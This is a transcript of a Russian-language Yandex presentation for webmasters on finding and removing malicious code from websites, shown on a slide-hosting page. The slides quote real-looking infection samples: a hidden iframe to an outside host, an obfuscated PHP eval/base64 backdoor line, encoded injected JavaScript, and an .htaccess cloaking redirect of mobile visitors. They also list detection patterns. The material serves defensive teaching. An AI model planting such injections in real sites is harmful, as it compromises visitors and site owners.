+ All Categories
Home > Technology > Как удалить вредоносный код с сайта своими руками

Как удалить вредоносный код с сайта своими руками

Date post: 11-Nov-2014
Category:
Upload: -
View: 1,849 times
Download: 1 times
Share this document with a friend
Description:
Количество интернет-угроз растет с каждым днем. И любой сайт может быть подвержен заражению вредоносным кодом. При этом последствия для сайта могут быть печальными: страдает не только посещаемость, но и репутация компании, а порой и компьютеры посетителей сайта. В докладе были рассмотрены простые и доступные вебмастерам правила: что делать, чтобы сайт не заразился, и что делать, если он уже заражён. Были освещены основные способы заражения и инструменты, которые Яндекс предоставляет вебмастерам для борьбы с вредоносным кодом.
31
Transcript
Page 1: Как удалить вредоносный код с сайта своими руками
Page 2: Как удалить вредоносный код с сайта своими руками
Page 3: Как удалить вредоносный код с сайта своими руками

3

Page 4: Как удалить вредоносный код с сайта своими руками

4

Page 5: Как удалить вредоносный код с сайта своими руками

5

Контактный email адрес

из Яндекс.Вебмастер

WHIOS данные

abuse@

webmaster@

security@

admin@

Уведомления о заражении

Page 6: Как удалить вредоносный код с сайта своими руками

6

99% посетителей страницы поисковой выдачи

не переходят на заражённые сайты

Page 7: Как удалить вредоносный код с сайта своими руками

7

Page 8: Как удалить вредоносный код с сайта своими руками

8

http://webmaster.yandex.ru

Page 9: Как удалить вредоносный код с сайта своими руками

9

http://webmaster.yandex.ru

Page 10: Как удалить вредоносный код с сайта своими руками

Где искать вредоносный код

Page 11: Как удалить вредоносный код с сайта своими руками

11

{* Smarty Template *}

{* Core Template *}

{* Multi-lang - Loads all inner components of the page *}

<!DOCTYPE HTML>

<html>

<head>

{include file=$lang|cat:"/head.tpl"}

</head>

<body>

{include file=$lang|cat:"/menu.tpl"}

{include file=$lang|cat:"/body.tpl"}

{include file=$lang|cat:"/footer.tpl"}

<iframe src="http://thumbtackeffects.biz:90/forum/ask.php"

width="0" height="0" frameborder="0"></iframe>

</body>

</html>

Шаблоны / JS

Page 12: Как удалить вредоносный код с сайта своими руками

12

<?php assert(gzinflate(base64_decode('ZXbc...1sdQp9‘)));

$smarty = new Smarty;

$smarty->setTemplateDir('../smarty/templates');

class Template extends Smarty

{

function __construct()

{

parent::__construct();

$this->template_dir = "../smarty/templates/";

$this->compile_dir = "../smarty/templates_c/";

}

}

Server-side cкрипты

Page 13: Как удалить вредоносный код с сайта своими руками

13

<p><strong></strong></p>

<SCRIPT>document.write(unescape('<%53C\122IP%54>

\146f\075\060\073

f\0456Fr(%6E%6E\040i\156%20\144oc\165me%6E\04574%29

i\146(n\156==\047et\157ur%73%27\0457C%7Cnn\075=%27lo\147\0

456F-\141ni\155\047) \146f=%31\073 \151f(\04566f=\0750\174|(\

...

>\074\047+\04527%2FSC\122IP\124%3E\047%29%3B

d\157c\04575me\156t.\167\162it%65\050\04527<\047+\047\041--

\047);\04520%3C/S%43R\111P\124>'))</SCRIPT><H2>Crestor side

effects</H2>

<P>Necrosis in the clinical, findings

БД

Page 14: Как удалить вредоносный код с сайта своими руками

14

RewriteEngine On

RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]

RewriteCond %{HTTP_USER_AGENT} android [NC,OR]

RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]

RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml"

[NC,OR]

RewriteCond %{HTTP_USER_AGENT} !google [NC]

RewriteCond %{HTTP_USER_AGENT} !yandex [NC]

RewriteCond %{HTTP_USER_AGENT} !bot [NC]

[L,R=302]

RewriteCond %{HTTP_REFERER} ^http://www\.yandex\.ru/ [OR]

RewriteCond %{HTTP_REFERER} ^http://google\.com/ [OR]

RewriteRule ^(.*)$

http://qo0.ru/?1&source=%{HTTP_HOST}

[L,R=302]

Файлы конфигурации ( .htaccess )

Page 15: Как удалить вредоносный код с сайта своими руками

15

<!--Money counter--><script type="text/javascript"><!--

document.write('<sc' + 'ript language="JavaScript" rel="nofollow" ' +

'src="http://traffbiz.is-by.us/ID_сайта/counterOne.jpg" title="Money counter"

border="0" width="1" height="1"></sc' + 'ript>');

//--></script><!--/Money counter-->

Реклама и партнерские программы

Page 16: Как удалить вредоносный код с сайта своими руками

16

LoadModule access_module modules/mod_access.so

LoadModule actions_module modules/mod_actions.so

LoadModule alias_module modules/mod_alias.so

LoadModule asis_module modules/mod_spm_headers.so

LoadModule auth_module modules/mod_auth.so

#LoadModule auth_anon_module modules/mod_auth_anon.so

#LoadModule auth_dbm_module modules/mod_auth_dbm.so

httpd.conf

Бинарные файлы

DrWeb: Linux.Iframe.1

Sophos: Troj/Apmod-C

TrendMicro-HouseCall: TROJ_GEN

Page 17: Как удалить вредоносный код с сайта своими руками

Как искать вредоносный код

Page 18: Как удалить вредоносный код с сайта своими руками

18

Отладочный http прокси

• Fiddler

• Charles

• HandyCache

• …

Page 19: Как удалить вредоносный код с сайта своими руками

19

• Уязвимые версии расширений браузера

• Referer страницы поисковой выдачи

• Мобильный User-Agent

• Новый IP-адрес

• Чистые cookies

Как получить вредоносный код

Page 20: Как удалить вредоносный код с сайта своими руками

20

• html: <iframe>, <script>, <object>,<applet>

• google-analylics.com, yandes.ru

• js: eval, document.write, document.location,

window.open, unescape

• .in, .cn, .tk, прямые ip-адреса, dyndns-

сервисы, случаный набор символов в

имени хоста

Характерные черты

Page 21: Как удалить вредоносный код с сайта своими руками

21

• Длинные нечитаемые скрипты

• Лишние операции со строками (переопределение, замена подстрок, смещение символов, конкатенация)

• Посторонний код в js-библиотеках

• Переопределение DOM элементов

Характерные черты

Page 22: Как удалить вредоносный код с сайта своими руками

22

Примеры вредоносного кода

Page 23: Как удалить вредоносный код с сайта своими руками

23

DIFF

Page 24: Как удалить вредоносный код с сайта своими руками

24

Общие признаки вредоносного кода для PHP

• eval, assert, create_function

• base64_decode, gzuncompress,

gzinflate, ob_start, str_rot13,

preg_replace

• file_get_contents, curl_exec

Page 25: Как удалить вредоносный код с сайта своими руками

25

Рекомендации в Яндекс.Вебмастер http://help.yandex.ru/webmaster/

Page 26: Как удалить вредоносный код с сайта своими руками

26

Page 27: Как удалить вредоносный код с сайта своими руками

27

• Ограничение прав веб-сервера

• Обновление серверного ПО

• Запрет доступа к сервисам извне

• Контроль целостности файлов

Page 28: Как удалить вредоносный код с сайта своими руками

28

Page 29: Как удалить вредоносный код с сайта своими руками

29

http://safesearch.ya.ru/

http://help.yandex.ru/webmaster/

Page 30: Как удалить вредоносный код с сайта своими руками

30 http://safe.yandex.ru/

Page 31: Как удалить вредоносный код с сайта своими руками

Recommended